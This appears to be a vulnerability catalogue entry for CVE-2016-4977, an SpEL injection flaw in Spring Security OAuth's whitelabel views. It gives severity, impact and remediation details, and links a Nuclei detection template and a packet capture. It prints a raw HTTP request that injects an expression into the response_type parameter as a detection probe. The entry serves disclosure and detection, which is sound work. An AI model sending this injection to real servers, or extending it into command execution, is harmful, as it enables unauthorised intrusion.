| Title | Spring Security OAuth2 Remote Command Execution |
|---|---|
| Author | princechaddha |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system. |
| Remediation | Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later. |
| CVSS Score | 8.8 |
| EPSS Score | 0.94093 |
| CVE ID | CVE-2016-4977 |
| CWE ID | CWE-19 |
| Tags | cve2016 cve oauth2 oauth rce ssti vulhub spring pivotal vkev vuln |
Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.
GET /oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ConnectPC Safari/537.36 Browser
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-4977.yaml
🦈 Packet Capture: ⬇️ Download cve-2016-4977.pcap
N/AN/A